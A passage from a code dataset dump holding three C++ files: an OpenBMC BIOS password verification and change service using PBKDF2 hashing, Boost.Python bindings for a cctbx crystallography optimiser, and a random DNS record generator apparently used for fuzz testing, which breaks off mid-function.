std::string hashAlgo = \"\";\n        try\n        {\n            nlohmann::json json = nullptr;\n            std::ifstream ifs(seedFile.c_str());\n            if (ifs.is_open())\n            {\n                try\n                {\n                    json = nlohmann::json::parse(ifs, nullptr, false);\n                }\n                catch (const nlohmann::json::parse_error& e)\n                {\n                    phosphor::logging::log<phosphor::logging::level::ERR>(\n                        e.what());\n                    throw InternalFailure();\n                }\n\n                if (json.is_discarded())\n                {\n                    return;\n                }\n                orgUsrPwdHash = json[\"UserPwdHash\"];\n                orgAdminPwdHash = json[\"AdminPwdHash\"];\n                seed = json[\"Seed\"];\n                hashAlgo = json[\"HashAlgo\"];\n            }\n            else\n            {\n                return;\n            }\n        }\n        catch (nlohmann::detail::exception& e)\n        {\n            phosphor::logging::log<phosphor::logging::level::ERR>(e.what());\n            throw InternalFailure();\n        }\n        if (userName == \"AdminPassword\")\n        {\n            if (!isMatch(orgAdminPwdHash, seed, currentPassword, hashAlgo))\n            {\n                throw InvalidCurrentPassword();\n            }\n        }\n        else\n        {\n            if (!isMatch(orgUsrPwdHash, seed, currentPassword, hashAlgo))\n            {\n                throw InvalidCurrentPassword();\n            }\n        }\n        if (hashAlgo == \"SHA256\")\n        {\n            unsigned int mdLen = 32;\n            mNewPwdHash.fill(0);\n\n            if (!PKCS5_PBKDF2_HMAC(\n                    reinterpret_cast<const char*>(newPassword.c_str()),\n                    newPassword.length() + 1,\n                    reinterpret_cast<const unsigned char*>(seed.data()),\n                    seed.size(), iterValue, EVP_sha256(), mdLen,\n                    mNewPwdHash.data()))\n            {\n                phosphor::logging::log<phosphor::logging::level::ERR>(\n                    \"Verify PKCS5_PBKDF2_HMAC_SHA256 Integrity Check failed\");\n                throw InternalFailure();\n            }\n        }\n        if (hashAlgo == \"SHA384\")\n        {\n            unsigned int mdLen = 48;\n            mNewPwdHash.fill(0);\n\n            if (!PKCS5_PBKDF2_HMAC(\n                    reinterpret_cast<const char*>(newPassword.c_str()),\n                    newPassword.length() + 1,\n                    reinterpret_cast<const unsigned char*>(seed.data()),\n                    seed.size(), iterValue, EVP_sha384(), mdLen,\n                    mNewPwdHash.data()))\n            {\n                phosphor::logging::log<phosphor::logging::level::ERR>(\n                    \"Verify PKCS5_PBKDF2_HMAC_SHA384 Integrity Check failed\");\n                throw InternalFailure();\n            }\n        }\n        return;\n    }\n    throw InternalFailure();\n}\nvoid Password::changePassword(std::string userName, std::string currentPassword,\n                              std::string newPassword)\n{\n    phosphor::logging::log<phosphor::logging::level::DEBUG>(\n        \"BIOS config changePassword\");\n    verifyPassword(userName, currentPassword, newPassword);\n\n    std::ifstream fs(seedFile.c_str());\n    nlohmann::json json = nullptr;\n\n    if (fs.is_open())\n    {\n        try\n        {\n            json = nlohmann::json::parse(fs, nullptr, false);\n        }\n        catch (const nlohmann::json::parse_error& e)\n        {\n            phosphor::logging::log<phosphor::logging::level::ERR>(e.what());\n            throw InternalFailure();\n        }\n\n        if (json.is_discarded())\n        {\n            throw InternalFailure();\n        }\n        json[\"AdminPwdHash\"] = mNewPwdHash;\n        json[\"IsAdminPwdChanged\"] = true;\n\n        std::ofstream ofs(seedFile.c_str(), std::ios::out);\n        const auto& writeData = json.dump();\n        ofs << writeData;\n        ofs.close();\n    }\n    else\n    {\n        phosphor::logging::log<phosphor::logging::level::DEBUG>(\n            \"Cannot open file stream\");\n        throw InternalFailure();\n    }\n}\nPassword::Password(sdbusplus::asio::object_server& objectServer,\n                   std::shared_ptr<sdbusplus::asio::connection>& systemBus) :\n    sdbusplus::xyz::openbmc_project::BIOSConfig::server::Password(\n        *systemBus, objectPathPwd),\n    objServer(objectServer), systemBus(systemBus)\n{\n    phosphor::logging::log<phosphor::logging::level::DEBUG>(\n        \"BIOS config password is runing\");\n    try\n    {\n        fs::path biosDir(BIOS_PERSIST_PATH);\n        fs::create_directories(biosDir);\n        seedFile = biosDir / biosSeedFile;\n    }\n    catch (const fs::filesystem_error& e)\n    {\n        phosphor::logging::log<phosphor::logging::level::ERR>(e.what());\n        throw InternalFailure();\n    }\n}\n\n} // namespace bios_config_pwd\n\nint main()\n{\n    boost::asio::io_service io;\n    auto systemBus = std::make_shared<sdbusplus::asio::connection>(io);\n\n    systemBus->request_name(bios_config_pwd::servicePwd);\n    sdbusplus::asio::object_server objectServer(systemBus);\n    bios_config_pwd::Password password(objectServer, systemBus);\n\n    io.run();\n    return 0;\n}\n", "meta": {"hexsha": "3aacc45e0597d0086747734b1a0b253895feccc1", "size": 8839, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/password.cpp", "max_stars_repo_name": "openbmc/bios-settings-mgr", "max_stars_repo_head_hexsha": "29656f07b7e81c0bb13ca119b4c6ef62f5e79a18", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-12-13T03:53:38.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-13T03:53:38.000Z", "max_issues_repo_path": "src/password.cpp", "max_issues_repo_name": "openbmc/bios-settings-mgr", "max_issues_repo_head_hexsha": "29656f07b7e81c0bb13ca119b4c6ef62f5e79a18", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2020-12-03T10:28:49.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-02T05:47:32.000Z", "max_forks_repo_path": "src/password.cpp", "max_forks_repo_name": "openbmc/bios-settings-mgr", "max_forks_repo_head_hexsha": "29656f07b7e81c0bb13ca119b4c6ef62f5e79a18", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-12-13T03:53:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-13T03:53:31.000Z", "avg_line_length": 32.0253623188, "max_line_length": 80, "alphanum_fraction": 0.5522117887, "num_tokens": 1970, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5660185351961015, "lm_q2_score": 0.22270014398423357, "lm_q1q2_score": 0.12605240928591677}}
{"text": "#include <cctbx/boost_python/flex_fwd.h>\n\n#include <boost/python.hpp>\n#include <scitbx/array_family/boost_python/flex_wrapper.h>\n#include <scitbx/array_family/boost_python/shared_wrapper.h>\n\n#include <mmtbx/tls/optimise_amplitudes.h>\n\nnamespace mmtbx { namespace tls { namespace optimise {\n  namespace bp = boost::python;\n  namespace af = scitbx::af;\n\nnamespace {\n  void init_module()\n  {\n    using namespace boost::python;\n    using boost::python::arg;\n\n    class_<MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator>(\n        \"MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator\",\n        init< symArrNd const&,\n              dblArrNd const&,\n              dblArrNd const&,\n              bp::list const&,\n              bp::list const&,\n              selArr1d const&,\n              symArr1d const& >(\n                (arg(\"target_uijs\"),\n                 arg(\"target_weights\"),\n                 arg(\"base_amplitudes\"),\n                 arg(\"base_uijs\"),\n                 arg(\"base_atom_indices\"),\n                 arg(\"dataset_hash\"),\n                 arg(\"residual_uijs\"))\n                )\n              )\n      .def(\"set_current_amplitudes\", &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::setCurrentAmplitudes)\n      .def(\"get_current_amplitudes\", &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::getCurrentAmplitudes)\n      .def(\"print_current_amplitudes\", &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::printCurrentAmplitudes)\n      .add_property(\"x\",\n          &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::getCurrentAmplitudes,\n          &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::setCurrentAmplitudes\n          )\n      .def(\"set_residual_mask\",\n          &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::setResidualMask,\n          ( args(\"mask\") ),\n          \"Select which datasets are used to optimise the residual levels (if any)\"\n          )\n      .def(\"compute_functional_and_gradients\",\n          &MultiGroupMultiDatasetUijAmplitudeFunctionalAndGradientCalculator::computeFunctionalAndGradients\n          //return_value_policy<manage_new_object>()\n          )\n    ;\n  }\n\n} // Close unnamed\n\n}}} // close mmtbx::tls::optimise\n\nBOOST_PYTHON_MODULE(mmtbx_tls_optimise_amplitudes_ext)\n{\n  mmtbx::tls::optimise::init_module();\n}\n", "meta": {"hexsha": "58fa371432b982a1c80d954af8dd507c1d7983fd", "size": 2393, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "mmtbx/tls/optimise_amplitudes_ext.cpp", "max_stars_repo_name": "hbrunie/cctbx_project", "max_stars_repo_head_hexsha": "2d8cb383d50fe20cdbbe4bebae8ed35fabce61e5", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2021-03-18T12:31:57.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-14T06:27:06.000Z", "max_issues_repo_path": "mmtbx/tls/optimise_amplitudes_ext.cpp", "max_issues_repo_name": "hbrunie/cctbx_project", "max_issues_repo_head_hexsha": "2d8cb383d50fe20cdbbe4bebae8ed35fabce61e5", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mmtbx/tls/optimise_amplitudes_ext.cpp", "max_forks_repo_name": "hbrunie/cctbx_project", "max_forks_repo_head_hexsha": "2d8cb383d50fe20cdbbe4bebae8ed35fabce61e5", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-02-04T15:39:06.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-04T15:39:06.000Z", "avg_line_length": 37.390625, "max_line_length": 130, "alphanum_fraction": 0.68616799, "num_tokens": 542, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.24798742624020276, "lm_q1q2_score": 0.12593095723683906}}
{"text": "#include \"rrgenerator.hpp\"\n#include <boost/noncopyable.hpp>\n#include <sys/types.h>\n#include <unistd.h>\n#include <cstdlib>\n#include <sstream>\n\nnamespace dns\n{\n    /**********************************************************\n     * RandomGenarator\n     **********************************************************/    \n    RandomGenerator *RandomGenerator::mInstance = nullptr;\n    \n    RandomGenerator::RandomGenerator()\n        : mGenerator( static_cast<unsigned long>(time(nullptr)) )\n    {\n        std::srand( getpid() * time( nullptr ) );\n    }\n\n    uint32_t RandomGenerator::rand( uint32_t base )\n    {\n        if ( base == 0 )\n            return 0;\n\n        boost::mutex::scoped_lock lock( mMutex );\n        boost::uniform_smallint<> dst( 0, base);\n        uint32_t v = dst( mGenerator );\n        return v;\n    }\n\n    PacketData RandomGenerator::randStream( unsigned int size )\n    {\n        PacketData stream;\n\tstream.reserve( size );\n        for ( unsigned int i = 0 ; i < size ; i++ )\n            stream.push_back( this->rand( 0xff ) );\n\treturn stream;\n    }\n\n    PacketData RandomGenerator::randSizeStream( unsigned int max_size )\n    {\n        unsigned int size = rand( max_size );\n        PacketData stream;\n\tstream.reserve( size );\n        for ( unsigned int i = 0 ; i < size ; i++ )\n            stream.push_back( this->rand( 0xff ) );\n\treturn stream;\n    }\n\n    RandomGenerator *RandomGenerator::getInstance()\n    {\n\tif ( mInstance == nullptr )\n\t    mInstance = new RandomGenerator();\n\treturn mInstance;\n    }\n    \n    /**********************************************************\n     * DomainnameGenarator\n     **********************************************************/\n    std::string DomainnameGenerator::generateLabel()\n    {\n        std::string label;\n        if ( getRandom( 37 ) == 0 )\n\t    return \"*\";\n\n        unsigned int label_size = 1 + getRandom( 62 );\n\tlabel.reserve( label_size );\n        for ( unsigned int i = 0 ; i < label_size ; i++ )\n            label.push_back( getRandom( 0xff ) );\n        return label;\n    }\n\n    Domainname DomainnameGenerator::generate()\n    {\n        unsigned int label_count = 1 + getRandom( 100 );\n        unsigned int domainname_size = 0;\n        std::deque<std::string> labels;\n        for ( unsigned int i = 0 ; i < label_count ; i++ ) {\n            auto label = generateLabel();\n            if ( domainname_size + label.size() + 1 >= 255 )\n                break;\n            labels.push_back( label );\n            domainname_size += ( label.size() + 1 );\n        }\n        return Domainname( labels );\n    }\n\n    Domainname DomainnameGenerator::generate( const Domainname &hint1, const Domainname &hint2 )\n    {\n        Domainname hint = hint1;\n        Domainname result = hint1;\n        if ( hint2 != \"\" && getRandom( 2 ) == 0 ) {\n            hint   = hint2;\n            result = hint2;\n        }\n\n        switch ( getRandom( 3 ) ) {\n        case 0:\n            return result;\n        case 1: // erase labels;\n            {\n                unsigned int erased_label_count = getRandom( hint.getLabels().size() );\n                for ( unsigned int i = 0 ; i < erased_label_count ; i++ ) {\n                    result.popSubdomain();\n                }\n\n                return result; \n            }\n        case 2: // append labels as subdomain;\n            {\n                unsigned int label_count        = hint.getLabels().size();\n                unsigned int append_label_count = getRandom( 255 - hint.getLabels().size() );\n                unsigned int domainname_size    = hint.size();\n                for ( unsigned int i = 0 ; i < append_label_count ; i++ ) {\n                    std::string new_label = generateLabel();\n                    if ( label_count + 1 >= 128 || domainname_size + new_label.size() + 1 >= 255 )\n                        break;\n                    result.addSubdomain( new_label );\n                    domainname_size += ( new_label.size() + 1 );\n                    label_count++;\n                }\n\n                return result; \n            }\n        case 3: // replace labels;\n            {\n                unsigned int erased_label_count = getRandom( hint.getLabels().size() );\n                for ( unsigned int i = 0 ; i < erased_label_count ; i++ ) {\n                    result.popSubdomain();\n                }\n\n                unsigned int label_count        = result.getLabels().size();\n                unsigned int append_label_count = getRandom( 255 - result.getLabels().size() );\n                unsigned int domainname_size    = result.size();\n                for ( unsigned int i = 0 ; i < append_label_count ; i++ ) {\n                    std::string new_label = generateLabel();\n                    if ( label_count + 1 >= 128 || domainname_size + new_label.size() + 1 >= 255 )\n                        break;\n                    result.addSubdomain( new_label );\n                    domainname_size += ( new_label.size() + 1 );\n                    label_count++;\n                }\n\n                return result;\n            }\n        default:\n            throw std::logic_error( \"generate domainname error\" );\n        }\n    }\n\n    static Domainname generateDomainname( const Domainname &hint1, const Domainname &hint2 = Domainname() )\n    {\n        DomainnameGenerator g;\n        return g.generate( hint1, hint2 );\n    }\n\n    Domainname generateDomainname()\n    {\n        DomainnameGenerator g;\n        return g.generate();\n    }\n\n\n    Domainname getDomainname( const MessageInfo &hint )\n    {\n        std::vector<Domainname> names;\n        for ( auto rr : hint.getQuestionSection() ) {\n            names.push_back( rr.mDomainname );\n        }\n        for ( auto rr : hint.getAnswerSection() ) {\n            names.push_back( rr.mDomainname );\n        }\n        for ( auto rr : hint.getAuthoritySection() ) {\n            names.push_back( rr.mDomainname );\n        }\n        for ( auto rr : hint.getAdditionalSection() ) {\n            names.push_back( rr.mDomainname );\n        }\n\n        unsigned int index = getRandom( names.size() - 1 );\n        return names.at( index );\n    }\n\n    Domainname generateAlgorithmName()\n    {\n\tif ( withChance( 0.7 ) ) {\n\t    const char *algorithms[] = {\n\t\t\t\t\t\"gss-tsig\",\n\t\t\t\t\t\"HMAC-MD5.SIG-ALG.REG.INT\",\n\t\t\t\t\t\"hmac-sha1\",\n\t\t\t\t\t\"hmac-sha224\",\n\t\t\t\t\t\"hmac-sha256\",\n\t\t\t\t\t\"hmac-sha384\",\n\t\t\t\t\t\"hmac-sha512\",\n\t    };\n\n\t    return (Domainname)algorithms[ getRandom( sizeof(algorithms)/sizeof(char *) - 1 ) ];\n\t}\n\telse {\n\t    return generateDomainname();\n\t}\n    }\n\n    /**********************************************************\n     * XNAMEGenarator\n     **********************************************************/\n    template<class T>\n    std::shared_ptr<RDATA> XNameGenerator<T>::generate( const MessageInfo &hint, const Domainname &hint2 )\n    {\n        Domainname hint_name;\n        uint32_t qdcount = hint.getQuestionSection().size();\n        uint32_t ancount = hint.getAnswerSection().size();\n        uint32_t nscount = hint.getAuthoritySection().size();\n        uint32_t adcount = hint.getAdditionalSection().size();\n\n        uint32_t index = getRandom( qdcount + ancount + nscount + adcount - 1 );\n        if ( index < qdcount ) {\n            hint_name = hint.getQuestionSection().at( index ).mDomainname;\n        }\n        else if ( index < qdcount + ancount ) {\n            hint_name = hint.getAnswerSection().at( index - qdcount ).mDomainname;\n        }\n        else if ( index < qdcount + ancount + nscount ) {\n            hint_name = hint.getAuthoritySection().at( index - qdcount - ancount ).mDomainname;\n        }\n        else if ( index < qdcount + ancount + nscount + adcount ) {\n            hint_name = hint.getAdditionalSection().at( index - qdcount - ancount - nscount ).mDomainname;\n        }\n        else {\n            throw std::logic_error( \"invalid index of XNameGenerator::generate( hint )\" );\n        }\n\n        return std::shared_ptr<RDATA>( new T( DomainnameGenerator().generate( hint_name, hint2 ) ) );\n    }\n\n    template<class T>\n    std::shared_ptr<RDATA> XNameGenerator<T>::generate()\n    {\n        return std::shared_ptr<RDATA>( new T( DomainnameGenerator().generate() ) );\n    }\n\n\n    /**********************************************************\n     * RAWGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> RawGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<RDATA> RawGenerator::generate()\n    {\n        return std::shared_ptr<RDATA>( new RecordRaw( getRandom( 0x3ff ), getRandomSizeStream( 0xff ) ) );\n    }\n\n    /**********************************************************\n     * AGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> AGenerator::generate( const MessageInfo &hint, const Domainname &hint2 )\n    {\n        std::vector<std::shared_ptr<RDATA> > record_a_list;\n        for ( auto rr : hint.getAnswerSection() ) {\n            if ( rr.mType == TYPE_A ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n        for ( auto rr : hint.getAuthoritySection() ) {\n            if ( rr.mType == TYPE_A ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n        for ( auto rr : hint.getAdditionalSection() ) {\n            if ( rr.mType == TYPE_A ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n \n        if ( record_a_list.size() == 0 )\n            return generate();\n\n        unsigned int index = getRandom( record_a_list.size() - 1 );\n\treturn std::shared_ptr<RDATA>( record_a_list.at( index )->clone() );\n    }\n\n    std::shared_ptr<RDATA> AGenerator::generate()\n    {\n        return std::shared_ptr<RDATA>( new RecordA( getRandom() ) );\n    }\n\n\n    /**********************************************************\n     * WKSGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> WKSGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<RDATA> WKSGenerator::generate()\n    {\n        std::vector<Type> bitmap;\n        if ( getRandom( 32 ) == 0 )\n            bitmap.resize( 0 );\n        else if ( getRandom( 32 ) == 0 ) {\n            bitmap.resize( 256 * 256 );\n            for ( unsigned int i = 0 ; i < bitmap.size() ; i++ )\n                bitmap[i] = i;\n        }\n        else {\n            bitmap.resize( getRandom( 0xffff ) );\n            for ( unsigned int i = 0 ; i < bitmap.size() ; i++ )\n                bitmap[i] = getRandom( 0xffff);\n        }\n            \n        return std::shared_ptr<RDATA>( new RecordWKS( getRandom(), getRandom( 255 ), bitmap ) );\n    }\n    \n    /**********************************************************\n     * AAAAGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> AAAAGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        std::vector<std::shared_ptr<RDATA> > record_a_list;\n        for ( auto rr : hint1.getAnswerSection() ) {\n            if ( rr.mType == TYPE_AAAA ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n        for ( auto rr : hint1.getAuthoritySection() ) {\n            if ( rr.mType == TYPE_AAAA ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n        for ( auto rr : hint1.getAdditionalSection() ) {\n            if ( rr.mType == TYPE_AAAA ) {\n                record_a_list.push_back( rr.mRData );\n            }\n        }\n\n        if ( record_a_list.size() == 0 )\n            return generate();\n\n        unsigned int index = getRandom( record_a_list.size() - 1 );\n\treturn std::shared_ptr<RDATA>( record_a_list.at( index )->clone() );\n    }\n\n    std::shared_ptr<RDATA> AAAAGenerator::generate()\n    {\n        PacketData sin_addr = getRandomStream( 16 );\n        return std::shared_ptr<RDATA>( new RecordAAAA( &sin_addr[0] ) );\n    }\n\n\n    /**********************************************************\n     * SOAGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> SOAGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\treturn std::shared_ptr<RDATA>( new RecordSOA( getDomainname( hint1 ),\n\t\t\t\t\t\t      getDomainname( hint1 ),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom() ) );\n    }\n\n    std::shared_ptr<RDATA> SOAGenerator::generate()\n    {\n\treturn std::shared_ptr<RDATA>( new RecordSOA( generateDomainname(),\n\t\t\t\t\t\t      generateDomainname(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom(),\n\t\t\t\t\t\t      getRandom() ));\n    }\n\n    /**********************************************************\n     * SRVGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> SRVGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\treturn std::shared_ptr<RDATA>( new RecordSRV( getRandom( 0xffff ),\n\t\t\t\t\t\t      getRandom( 0xffff ),\n\t\t\t\t\t\t      getRandom( 0xffff ),\n\t\t\t\t\t\t      getDomainname( hint1 ) ) );\n    }\n\n    std::shared_ptr<RDATA> SRVGenerator::generate()\n    {\n\treturn std::shared_ptr<RDATA>( new RecordSRV( getRandom( 0xffff ),\n\t\t\t\t\t\t      getRandom( 0xffff ),\n\t\t\t\t\t\t      getRandom( 0xffff ),\n\t\t\t\t\t\t      generateDomainname() ) );\n    }\n    \n    /**********************************************************\n     * RRSIGGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> RRSIGGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        PacketData signature = getRandomSizeStream( 0xff );\n\n\tstd::shared_ptr<RDATA> p( new RecordRRSIG( getRandom( 0xffff ), // type covered\n\t\t\t\t\t\t   getRandom( 0xff ),   // algorithm\n\t\t\t\t\t\t   getRandom( 0xff ),   // label\n\t\t\t\t\t\t   getRandom(),         // original ttl\n\t\t\t\t\t\t   getRandom(),         // expiration\n\t\t\t\t\t\t   getRandom(),         // inception\n\t\t\t\t\t\t   getRandom( 0xffff ), // key tag\n\t\t\t\t\t\t   generateDomainname( getDomainname( hint1 ), hint2 ),\n\t\t\t\t\t\t   signature ) );\n        return p;\n    }\n\n    std::shared_ptr<RDATA> RRSIGGenerator::generate()\n    {\n        PacketData signature = getRandomSizeStream( 0xff );\n\treturn std::shared_ptr<RDATA>( new RecordRRSIG( getRandom( 0xffff ), // type covered\n\t\t\t\t\t\t\tgetRandom( 0xff ),   // algorithm\n\t\t\t\t\t\t\tgetRandom( 0xff ),   // label\n\t\t\t\t\t\t\tgetRandom(),         // original ttl\n\t\t\t\t\t\t\tgetRandom(),         // expiration\n\t\t\t\t\t\t\tgetRandom(),         // inception\n\t\t\t\t\t\t\tgetRandom( 0xffff ), // key tag\n\t\t\t\t\t\t\tgenerateDomainname(),\n\t\t\t\t\t\t\tsignature ) );\n    }\n\n    /**********************************************************\n     * DNSKEYGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> DNSKEYGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        PacketData public_key = getRandomStream( 132 );\n\treturn std::shared_ptr<RDATA>( new RecordDNSKEY( getRandom() % 2 ? RecordDNSKEY::KSK : RecordDNSKEY::ZSK,\n\t\t\t\t\t\t\t RecordDNSKEY::RSASHA1,\n\t\t\t\t\t\t\t public_key ) );\n    }\n\n    std::shared_ptr<RDATA> DNSKEYGenerator::generate()\n    {\n        PacketData public_key = getRandomStream( 132 );\n\treturn std::shared_ptr<RDATA>( new RecordDNSKEY( getRandom() % 2 ? RecordDNSKEY::KSK : RecordDNSKEY::ZSK,\n\t\t\t\t\t\t\t RecordDNSKEY::RSASHA1,\n\t\t\t\t\t\t\t public_key ) );\n    }\n\n\n    /**********************************************************\n     * DSGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> DSGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        if ( getRandom( 2 ) ) {\n            PacketData hash = getRandomStream( 20 );\n            return std::shared_ptr<RDATA>( new RecordDS( getRandom( 0xffff ),\n\t\t\t\t\t\t\t 5,\n\t\t\t\t\t\t\t 1,\n\t\t\t\t\t\t\t hash ) );\n        }\n        else {\n            PacketData hash = getRandomStream( 32 );\n            return std::shared_ptr<RDATA>( new RecordDS( getRandom( 0xffff ),\n\t\t\t\t\t\t\t 5,\n\t\t\t\t\t\t\t 2,\n\t\t\t\t\t\t\t hash ) );\n        }\n    }\n\n    std::shared_ptr<RDATA> DSGenerator::generate()\n    {\n        if ( getRandom( 2 ) ) {\n            PacketData hash = getRandomStream( 40 );\n            return std::shared_ptr<RDATA>( new RecordDS( getRandom( 0xffff ),\n\t\t\t\t\t\t\t 5,\n\t\t\t\t\t\t\t 1,\n\t\t\t\t\t\t\t hash ) );\n        }\n        else {\n            PacketData hash = getRandomStream( 64 );\n            return std::shared_ptr<RDATA>( new RecordDS( getRandom( 0xffff ),\n\t\t\t\t\t\t\t 5,\n\t\t\t\t\t\t\t 2,\n\t\t\t\t\t\t\t hash ) );\n        }\n    }\n\n\n    /**********************************************************\n     * NSECGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> NSECGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        std::vector<Type> types;\n        unsigned int type_count = getRandom( 4 );\n\ttypes.reserve( type_count );\n        for ( unsigned int i = 0 ; i < type_count ; i++ ) {\n            types.push_back( getRandom( 0xffff ) );\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNSEC( generateDomainname( getDomainname( hint1 ), hint2 ),\n\t\t\t\t\t\t       types ) );\n    }\n\n    std::shared_ptr<RDATA> NSECGenerator::generate()\n    {\n        std::vector<Type> types;\n        unsigned int type_count = getRandom( 0xffff );\n\ttypes.reserve( type_count );\n        for ( unsigned int i = 0 ; i < type_count ; i++ ) {\n            types.push_back( getRandom( 0xffff ) );\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNSEC( generateDomainname(), types ) );\n    }\n\n    /**********************************************************\n     * NSEC3Genarator\n     **********************************************************/\n    std::shared_ptr<RDATA> NSEC3Generator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        return generate();\n    }\n\n    std::shared_ptr<RDATA> NSEC3Generator::generate()\n    {\n        uint8_t optout = 0x07;\n        if ( getRandom( 8 ) ) {\n            optout = 0;\n        }\n        std::vector<Type> types;\n        unsigned int type_count = getRandom( 4 );\n        for ( unsigned int i = 0 ; i < type_count ; i++ ) {\n            types.push_back( getRandom( 0xffff ) );\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNSEC3( 0x01,\n                                                        optout,\n                                                        getRandom( 0x00ff ),\n                                                        getRandomSizeStream( 0xff ),\n                                                        getRandomStream( 20 ),\n                                                        types ) );\n    }\n\n\n    /**********************************************************\n     * NSEC3PARAMGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> NSEC3PARAMGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        return generate();\n    }\n\n    std::shared_ptr<RDATA> NSEC3PARAMGenerator::generate()\n    {\n        uint8_t optout = 0x07;\n        if ( getRandom( 8 ) ) {\n            optout = 0;\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNSEC3PARAM( 0x01,\n                                                             optout,\n                                                             getRandom( 0x00ff ),\n                                                             getRandomSizeStream( 0xff ) ) );\n    }\n\n    /**********************************************************\n     * TLSAGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> TLSAGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        return generate();\n    }\n\n    std::shared_ptr<RDATA> TLSAGenerator::generate()\n    {\n        return std::shared_ptr<RDATA>( new RecordTLSA( getRandom( 0xff ),\n                                                       getRandom( 0xff ),\n                                                       getRandom( 0xff ),\n                                                       getRandomSizeStream( 0x01ff ) ) );\n    }\n\n    /**********************************************************\n     * SIGGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> SIGGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        PacketData signature = getRandomStream( 256 );\n\n\tstd::shared_ptr<RDATA> p( new RecordSIG( getRandom( 0xffff ), // type covered\n\t\t\t\t\t\t getRandom( 0xff ),   // algorithm\n\t\t\t\t\t\t getRandom( 0xff ),   // label\n\t\t\t\t\t\t getRandom(),         // original ttl\n\t\t\t\t\t\t getRandom(),         // expiration\n\t\t\t\t\t\t getRandom(),         // inception\n\t\t\t\t\t\t getRandom( 0xffff ), // key tag\n\t\t\t\t\t\t generateDomainname( getDomainname( hint1 ), hint2 ),\n\t\t\t\t\t\t signature ) );\n        return p;\n    }\n\n    std::shared_ptr<RDATA> SIGGenerator::generate()\n    {\n        PacketData signature = getRandomSizeStream( 256 );\n\treturn std::shared_ptr<RDATA>( new RecordSIG( getRandom( 0xffff ), // type covered\n\t\t\t\t\t\t      getRandom( 0xff ),   // algorithm\n\t\t\t\t\t\t      getRandom( 0xff ),   // label\n\t\t\t\t\t\t      getRandom(),         // original ttl\n\t\t\t\t\t\t      getRandom(),         // expiration\n\t\t\t\t\t\t      getRandom(),         // inception\n\t\t\t\t\t\t      getRandom( 0xffff ), // key 